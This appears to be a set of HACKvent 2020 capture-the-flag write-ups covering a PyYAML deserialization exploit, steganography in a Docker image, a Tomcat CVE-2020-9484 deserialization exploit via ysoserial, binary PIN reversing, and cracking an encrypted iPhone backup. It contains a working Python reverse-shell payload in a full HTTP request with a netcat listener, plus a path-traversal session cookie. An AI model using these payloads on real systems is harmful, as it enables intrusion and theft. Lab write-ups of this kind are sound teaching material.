After some (long) fiddling and some help by mcia, I was able to have the following working payload:
!!python/object/new:tuple [!!python/object/new:map [!!python/object/new:type [!!python/object/new:subprocess.Popen {}], [['python3', '-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.0.6",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")']]]]Embedded into a request, this looks as follows:
POST /compose HTTP/1.1
Host: 391e7818-bff7-4975-9ea5-a7d701884dbb.idocker.vuln.land
Connection: close
Content-Length: 924
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://391e7818-bff7-4975-9ea5-a7d701884dbb.idocker.vuln.land
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybAfclg55CgdMZAnH
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://391e7818-bff7-4975-9ea5-a7d701884dbb.idocker.vuln.land/compose
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJjc3JmX3Rva2VuIjoiZmFiYWZiZjQ1Y2IwNjgwYWFkMjFmZGFkYTI3MzFiMzQyZTM2NTFiYiJ9.X98r3Q.8DZeJ-BtyuNTQiJMDAz6oabxZDQ
------WebKitFormBoundarybAfclg55CgdMZAnH
Content-Disposition: form-data; name="csrf_token"
ImZhYmFmYmY0NWNiMDY4MGFhZDIxZmRhZGEyNzMxYjM0MmUzNjUxYmIi.X98r4A.DZtbbXA1aeRf12PC85GECKA5n60
------WebKitFormBoundarybAfclg55CgdMZAnH
Content-Disposition: form-data; name="contents"
!!python/object/new:tuple [!!python/object/new:map [!!python/object/new:type [!!python/object/new:subprocess.Popen {}], [['python3', '-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.0.6",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")']]]]
------WebKitFormBoundarybAfclg55CgdMZAnH
Content-Disposition: form-data; name="uploaded"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarybAfclg55CgdMZAnH
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundarybAfclg55CgdMZAnH--
Again, on the client side, I prepared my netcat to listen on 4242 (nc -nlvp 4242) and, once the reverse shell connected, I was able to find the flag in the file flag.txt.
BTW, find the server source code here.
HV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}
| Author | Bread 🍞 |
| Level | leet |
| Categories | programming, forensic, linux |
On the twelfth day of Christmas my true love sent to me... twelve rabbits a-rebeling, eleven ships a-sailing, ten (twentyfourpointone) pieces a-puzzling, and the rest is history.

You should definitely give Bread's famous easy perfect fresh rosemary yeast black pepper bread a try this Christmas!
Rabbit holes ahead! The given png file was also interpretable as a html file thanks to an early png tEXt chunk containing an html tag. To provoke this effect, I renamed image.png to image.png.html and opened it in a browser.
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 06 60 00 00 03 f3 08 06 00 00 00 a0 37 c3 |...`..........7.|
00000020 0b 00 00 00 0c 74 45 58 74 3c 68 74 6d 6c 3e 00 |.....tEXt<html>.|
00000030 3c 21 2d 2d 20 f1 a3 a4 de 00 00 1b 20 74 45 58 |<!-- ....... tEX|
00000040 74 5f 00 72 a4 de 43 87 7d b8 c4 45 72 a5 38 4b |t_.r..C.}..Er.8K|
00000050 b0 33 b0 56 af bb 6a a2 23 a7 50 45 84 e9 58 c3 |.3.V..j.#.PE..X.|
00000060 e5 33 9f 58 7d 7c ef 38 ee f8 4c eb a2 db 98 9c |.3.X}|.8..L.....|
00000070 e9 ed ad ba b2 7e 47 61 ed 4a 57 5b df 8f ba ad |.....~Ga.JW[....|
00000080 a0 fb fd 33 e7 e7 35 e4 7a 5a a4 f2 88 ad 85 7b |...3..5.zZ.....{|
00000090 35 f8 4e 6e 28 94 cd 96 85 97 25 34 c6 82 48 f9 |5.Nn(.....%4..H.|
In parallel, I analysed the html and most importantly the script that was executed when one clicks on the image. It checks for a query parameter p holding a value that SHA1 hashes to 60DB15C4E452C71C5670119E7889351242A83505.
According to CrackStation that value is bunnyrabbitsrule4real.
With that parameter in the URL: file:///home/manu/Documents/private/hackvent20/dec20/bfd96926-dd11-4e07-a05a-f6b807570b5a.png.html?p=bunnyrabbitsrule4real, I clicked on the image to trigger the JS code, which generated a file named 11.py. There was also another rabbit image displayed with strange dots on top, but the dots decoded to 11.py as well.
11.py contains the following code:
import sys
print(sys.argv[1])
print(sys.argv[2])
i = bytearray(open(sys.argv[1], 'rb').read().split(sys.argv[2].encode('utf-8') + b"\n")[-1])
j = bytearray(b"Rabbits are small mammals in the family Leporidae of the order Lagomorpha (along with the hare and the pika). Oryctolagus cuniculus includes the European rabbit species and its descendants, the world's 305 breeds[1] of domestic rabbit. Sylvilagus includes 13 wild rabbit species, among them the seven types of cottontail. The European rabbit, which has been introduced on every continent except Antarctica, is familiar throughout the world as a wild prey animal and as a domesticated form of livestock and pet. With its widespread effect on ecologies and cultures, the rabbit (or bunny) is, in many areas of the world, a part of daily life-as food, clothing, a companion, and a source of artistic inspiration.")
open('11.7z', 'wb').write(bytearray([i[_] ^ j[_%len(j)] for _ in range(len(i))]))11.py hints towards a 7z file. 7z files have a magic file identifier being 37 7A BC AF 27 1C. If we XOR that with "Rabbit" (which is what 11.py does), we know what bytes to look for: 65 1b de cd 4e 68. According to the code, this sequence is preceded by 0a, a newline character.
I looked for this sequence in a very simple manner leveraging hexdump (or alternatively xxd):
for f in ./*; do hexdump -C $f | grep -n '0a 65 1b de cd' && echo $f; done
231074:00386a10 82 62 72 65 61 64 62 72 65 61 64 0a 65 1b de cd |.breadbread.e...|
./bfd96926-dd11-4e07-a05a-f6b807570b5a.png0x0a is preceded by "breadbread", which is our separator. So let's run the python script, which then produces 11.7z:
To look a bit closer into 11.7z, let's walk through it (recursively):
This extracts a ton of files... which look like a Docker image.
The file 1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json looks interesting and contains the following:
[...]
"RUN /bin/sh -c cp /tmp/t/bunnies12.jpg bunnies12.jpg && steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef /tmp/t/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\" && mkdir /home/bread/flimflam && xxd -p bunnies12.jpg > flimflam/snoot.hex && rm -rf bunnies12.jpg && split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom && rm -rf /home/bread/flimflam/snoot.hex && chmod 0000 /home/bread/flimflam && apk del steghide xxd # buildkit"
[...]
It seems like there was some secret embedded into a bunnies12.jpg image using steghide and then split up into multiple hex files. Let's undo that.
To do so, we first need to find the right layer/directory which seems to be ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1, since it contains many files named flom followed by a numeric index.
I proceeded as follows to find the hidden immage:
chmod 755 ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/_layer.tar.extracted/home/bread/flimflam
ls -al ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1/_layer.tar.extracted/home/bread/flimflam/*
# many many files here
cat flom* >snoot.hex
cat snoot.hex | xxd -r -p > ../bunnies12.jpg
steghide --extract -sf bunnies12.jpg -p "bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword" -xf hidden.pnghidden.png contains an unreadable QR code (because the white border is missing). making it readable gives the flag(.png)!

HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}
| Author | inik |
| Level | hard |
| Categories | web security, exploitation |
You can feed this cat with many different things, but only a certain kind of file can endanger the cat.
Do you find that kind of files? And if yes, can you use it to disclose the flag? Ahhh, by the way: The cat likes to hide its stash in /usr/bin/catnip.txt.
Note: The cat is currently in hibernation and will take a few seconds to wake up.
Request to https://81c2252c-618c-4fdf-bec0-9cf7ed008266.idocker.vuln.land/bin/catnip.txt gave a 404 page including server version: Apache Tomcat/9.0.34
Since this challenge is in the exploitation category, there probably is some exploit around for that version of Tomcat.
Candidate exploits are:
A nice write-up about the vulnerability can be found at https://www.redtimmy.com/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/.
So, the plan is to generate a session store, upload it through the regular "threatened cat" interface (as a bla.session file), craft a second request with the value in theJSESSIONID cookie pointing to the uploaded file.
I initially started generating a single payload using ysoserial. It impressed the cat (it said so...), but it didn't work. So, I went a bit more broad and generated many payloads at once and uploaded these:
for pl in Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7; do java -jar ~/tools/ysoserial-master-30099844c6-1.jar $pl 'cp /usr/bin/catnip.txt /usr/local/uploads/catnip.txt' > $pl.session; done
I then triggered requests with the JSESSIONID pointing to these files:
GET /cat/;jsessionid=DC086F9205C860F48FCAC655CE2013A3 HTTP/1.1
Host: 08cbe5a5-3262-47e0-994a-c5655f0b856c.idocker.vuln.land
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://08cbe5a5-3262-47e0-994a-c5655f0b856c.idocker.vuln.land/cat/
Connection: close
Cookie: JSESSIONID=../../../../../../../../../../usr/local/uploads/CommonsCollections2
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Finally, the CommonsCollections2 payload did the trick and copied the catnip.txt file to the uploads folder where it was accessible to me. The response to that request includes long stacktraces letting me know that the payload was indeed executed:
HTTP/1.1 500 Internal Server Error
Content-Language: en
Content-Type: text/html;charset=utf-8
Date: Mon, 21 Dec 2020 13:17:32 GMT
Connection: close
Content-Length: 11546
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' threw an exception</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>org.apache.commons.collections4.FunctorException: InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' threw an exception
org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:137)
org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
java.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:713)
java.base/java.util.PriorityQueue.heapify(PriorityQueue.java:735)
java.base/java.util.PriorityQueue.readObject(PriorityQueue.java:802)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.base/java.lang.reflect.Method.invoke(Method.java:564)
java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1216)
java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2359)
java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2193)
java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1685)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:499)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:457)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1554)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1049)
org.apache.catalina.session.FileStore.load(FileStore.java:229)
org.apache.catalina.session.PersistentManagerBase.loadSessionFromStore(PersistentManagerBase.java:764)
org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714)
org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493)
org.apache.catalina.connector.Request.doGetSession(Request.java:2978)
org.apache.catalina.connector.Request.getSessionInternal(Request.java:2698)
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:511)
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:373)
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868)
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590)
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:630)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.base/java.lang.Thread.run(Thread.java:832)
</pre><p><b>Root Cause</b></p><pre>java.lang.reflect.InvocationTargetException
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.base/java.lang.reflect.Method.invoke(Method.java:564)
org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129)
org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
java.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:713)
java.base/java.util.PriorityQueue.heapify(PriorityQueue.java:735)
java.base/java.util.PriorityQueue.readObject(PriorityQueue.java:802)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.base/java.lang.reflect.Method.invoke(Method.java:564)
java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1216)
java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2359)
java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2193)
java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1685)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:499)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:457)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1554)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1049)
org.apache.catalina.session.FileStore.load(FileStore.java:229)
org.apache.catalina.session.PersistentManagerBase.loadSessionFromStore(PersistentManagerBase.java:764)
org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714)
org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493)
org.apache.catalina.connector.Request.doGetSession(Request.java:2978)
org.apache.catalina.connector.Request.getSessionInternal(Request.java:2698)
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:511)
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:373)
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868)
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590)
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:630)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.base/java.lang.Thread.run(Thread.java:832)
</pre><p><b>Root Cause</b></p><pre>java.lang.NullPointerException
java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:372)
java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557)
java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.base/java.lang.reflect.Method.invoke(Method.java:564)
org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129)
org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
java.base/java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:713)
java.base/java.util.PriorityQueue.heapify(PriorityQueue.java:735)
java.base/java.util.PriorityQueue.readObject(PriorityQueue.java:802)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.base/java.lang.reflect.Method.invoke(Method.java:564)
java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1216)
java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2359)
java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2193)
java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1685)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:499)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:457)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1554)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1049)
org.apache.catalina.session.FileStore.load(FileStore.java:229)
org.apache.catalina.session.PersistentManagerBase.loadSessionFromStore(PersistentManagerBase.java:764)
org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714)
org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493)
org.apache.catalina.connector.Request.doGetSession(Request.java:2978)
org.apache.catalina.connector.Request.getSessionInternal(Request.java:2698)
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:511)
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:373)
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868)
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590)
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)
java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:630)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.base/java.lang.Thread.run(Thread.java:832)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.34</h3></body></html>
Everything that remained to do was downloading the file and read out the flag.
HV20{!D3s3ri4liz4t10n_rulz!}
| Author | inik |
| Level | hard |
| Categories | reverse engineering |
A new apprentice Elf heard about "Configuration as Code". When he had to solve the problem to protected a secret he came up with this "very sophisticated padlock".
Let's get an overview of what happens in the (unzipped) file.
Running the (regular ELF) binary prompts for a PIN and then prints an "unlocked secret".
Secrets are always somewhat readable strings - which, however, do not appear when printing out all readable strings in the binary using strings padawanlock. Only the prompt and the "Unlocked secret" string can be found.
In Ghidra, I tried to find where these strings are printed. Following references to these places, I arrived at the core logic, which seems to happen at 0x000111d9:

PIN * 0x14 + 0x1124b.Looking at the first possible position at 0x1124b (considering the base address being at 0x10000), we discover a sequence of blocks, each turning round (supposedly to make the program slow as a brute-force prevention measure) and loading a different character to be be printed out and finally calling another block.

All blocks have the same length of 20 bytes (hence the 0x14 in the above computation).
Since we're looking for a string starting with characters HV20{ (supposedly), we can look for blocks that load an H and then call to a block loading a V.
I started off, trying to do that in Ghidra using the Jython console, but I realised I didn't know the framework well enough, so I switched to a hybrid approach first, followed by a cleaner python-only approach.
I then went with a hybrid approach, using xxd and some custom python script:
Grep intersting blocks loading characters "H" and "V" (the string to grep for was taken over manually from Ghidra, it corresponds to binary opcodes):
# The following dumps all occurences into a text file, prefixed by the line number at which they were found.
# The line number will be helpful to compute the instruction address again.
xxd -s 3 -ps -c 20 padawanlock | grep -n 'f90075fac6034843' > H_search.txt # H == 0x48
xxd -s 3 -ps -c 20 padawanlock | grep -n 'f90075fac6035643' > V_search.txt # V == 0x56With that, try to find all "H"-loading blocks that are followed by a "V"-loading block (in python):
#!/usr/bin/env python
OFFSET = 0x3
LINE_WIDTH = 0x14
JUMP = 0x1124b
BASE_ADDR = 0x10000
def parse_line(line: str):
(lnb, code) = line.split(":", 1)
addr = OFFSET + (int(lnb) - 1) * LINE_WIDTH
next = bytearray.fromhex(code.strip()[-4 * 2:])
# Returns a tuple:
# (<address of this block>, <address of referenced/next block>)
return addr, addr + int.from_bytes(next, 'little') + LINE_WIDTH
if __name__ == "__main__":
with open("H_search.txt", "r") as hfd:
h_map = {x[1]: x[0] for x in [parse_line(l) for l in hfd.readlines()]}
with open("V_search.txt", "r") as vfd:
v_addr = [parse_line(l)[0] for l in vfd.readlines()]
res = [(h_map[x] - (JUMP - BASE_ADDR))/0x14 for x in set(h_map.keys()).intersection(set(v_addr))]
print(res)
When run, this code prints out a single result being 451235, which corresponds to the PIN we're looking for.
A cleaner approach is to keep everything in python. The logic stays the same:
#!/usr/bin/env python
BLOCK_LENGTH = 0x14
FIRST_BLOCK_ADDR = 0x1124b
ELF_BASE_ADDR = 0x10000
def find_addresses(blob, b):
addresses = []
needle = bytearray.fromhex(b)
a = blob.find(needle)
while a != -1:
addresses.append(a - 5)
a = blob.find(needle,a+1)
return addresses
def find_next_addr(blob, curr_addr):
jmp_bytes = blob[curr_addr + BLOCK_LENGTH - 4:curr_addr + BLOCK_LENGTH]
jmp_int = int.from_bytes(jmp_bytes, 'little')
return curr_addr + BLOCK_LENGTH + jmp_int
if __name__ == "__main__":
# Search strings to search for all block loading "H" (0x48) or "V" (0x56).
# These strings of bytes were identified using Ghidra.
load_h_bytes = "4983f90075fac6034843e9"
load_v_bytes = "4983f90075fac6035643e9"
with open("padawanlock", "rb") as pfd:
blob = pfd.read()
h_loading = find_addresses(blob, load_h_bytes)
v_loading = find_addresses(blob, load_v_bytes)
# Create a map <next_addr> -> <current_addr> for all blocks loading "H"
h_references = {find_next_addr(blob, addr): addr for addr in h_loading}
# Find all blocks loading "H" that are followed by a block loading "V"
v_refs = set(h_references.keys()).intersection(set(v_loading))
h_addrs = [h_references[x] for x in v_refs]
# Compute the inverse calculation of `PIN * 0x14 + 0x1124b` (need to subtract the
# base address at which ELF files are loaded into memory)
print([int((x - (FIRST_BLOCK_ADDR - ELF_BASE_ADDR)) / BLOCK_LENGTH) for x in h_addrs])This snippet prints the same PIN being 451235.
When run using the resulting PIN, the binary indeed prints the flag:
$ ./padawanlock
PIN (6 digits): 451235
Unlocked secret is: HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}
| Author | hardlock |
| Level | hard |
| Categories | crypto, ios |
Santa tried to get an important file back from his old mobile phone backup. Thankfully he left a post-it note on his phone with the PIN. Sadly Rudolph thought the Apple was real and started eating it (there we go again...). Now only the first of eight digits, a 2, is still visible...
But maybe you can do something to help him get his important stuff back?
It seems, we're given an encrypted iPhone backup. Unpacking the archive produces a bunch of encrypted files and some with a more telling filename:
$ ls -al
total 16768
drwxr-xr-x 2 hacker hacker 28672 Dec 16 21:47 .
drwxr-xr-x 7 hacker hacker 4096 Dec 23 02:05 ..
-rw-r--r-- 1 hacker hacker 240 Dec 16 21:47 000cae3437db21095a85771716e6874f92ce7593
-rw-r--r-- 1 hacker hacker 144 Dec 16 21:47 012707a2ae34d77a28b16a9e443b780ea4e6b0aa
-rw-r--r-- 1 hacker hacker 14224 Dec 16 21:47 01a14737bf725839e60201704f5e0447e23800a6
-rw-r--r-- 1 hacker hacker 48 Dec 16 21:47 02080c751f0cd98738a2e9ccf7c133f0197865fa
-rw-r--r-- 1 hacker hacker 576 Dec 16 21:47 02dcc29d169dda989f3402fe07d8b6526d6fb1ac
-rw-r--r-- 1 hacker hacker 48 Dec 16 21:47 0354ef572fa6f5f20370be41aa816bd69cb2a642
-rw-r--r-- 1 hacker hacker 272 Dec 16 21:47 0468d26ad5dc28df372736abb757ed6457c7eed1
[...]
-rw-r--r-- 1 hacker hacker 1399 Dec 16 21:47 DDNABackup.plist
-rw-r--r-- 1 hacker hacker 8579 Dec 16 21:47 Info.plist
-rw-r--r-- 1 hacker hacker 101463 Dec 16 21:47 Manifest.mbdb
-rw-r--r-- 1 hacker hacker 9221 Dec 16 21:47 Manifest.plist
-rw-r--r-- 1 hacker hacker 189 Dec 16 21:47 Status.plist
Some web searching brought me to the following article https://medium.com/taptuit/breaking-into-encrypted-iphone-backups-4dacc39403f0, which in turn leads to https://github.com/philsmd/itunes_backup2hashcat to retrieve the hash of the backup encryption.
./itunes_backup2hashcat.pl ../5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/Manifest.plist
$itunes_backup$*9*892dba473d7ad9486741346d009b0deeccd32eea6937ce67070a0500b723c871a454a81e569f95d9*10000*0834c7493b056222d7a7e382a69c0c6a06649d9a**Using that hash combined with the information given in the challenge description, we can craft a hashcat command:
The password/PIN to crack:
-a 3)The resulting string is:
$itunes_backup$*9*892dba473d7ad9486741346d009b0deeccd32eea6937ce67070a0500b723c871a454a81e569f95d9*10000*0834c7493b056222d7a7e382a69c0c6a06649d9a**:20201225
The PIN is 20201225 (who would have thought someone would shoot beyond the limits of this HackVent...?).
Some other resources, I stumbled over for this first phase of this challenge (which could be useful for other CTFs) are:
Using backup_tool.py from https://github.com/dinosec/iphone-dataprotection we can then decrypt the files from the backup. the library, however, requires a small patch first:
$ git diff crypto/aeswrap.py
diff --git a/python_scripts/crypto/aeswrap.py b/python_scripts/crypto/aeswrap.py
index 75dbb84..4ef2ca6 100644
--- a/python_scripts/crypto/aeswrap.py
+++ b/python_scripts/crypto/aeswrap.py
@@ -26,7 +26,7 @@ def AESUnwrap(kek, wrapped):
for i in reversed(xrange(1,n+1)):
todec = pack64bit(A ^ (n*j+i))
todec += pack64bit(R[i])
- B = AES.new(kek).decrypt(todec)
+ B = AES.new(kek, AES.MODE_ECB).decrypt(todec)
A = unpack64bit(B[:8])
R[i] = unpack64bit(B[8:])Let's move on to decrypt the backup folder:
python backup_tool.py ../../5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/
In the reconstructed backup, we find plenty of jpg files and sqlite files
# Find all image files (jpg, png, tiff, etc.) and print out their filename
for f in $(find -type f); do $(file -b $f | grep -qi 'image') || continue; echo $f; done
# Find all SQLite files and dump them into a single file
for f in $(find -type f); do $(file -b $f | grep -qi 'sqlite') || continue; TABLES=$(sqlite3 -list $f '.tables'); for t in $TABLES; do echo "### $f - $t ###"; sqlite3 $f "select * from $t;"; done ; done > db.dumpLooking at the images, a promising one jumped to my eyes: ./5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583_extract/CameraRollDomain/Media/DCIM/100APPLE/IMG_0003.JPG - which was unfortunately only Rick Astley singing his song... -_-
SQLite3 file ./5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583_extract/HomeDomain/Library/AddressBook/AddressBook.sqlitedb looks promising, too:
sqlite> select * from ABPerson;
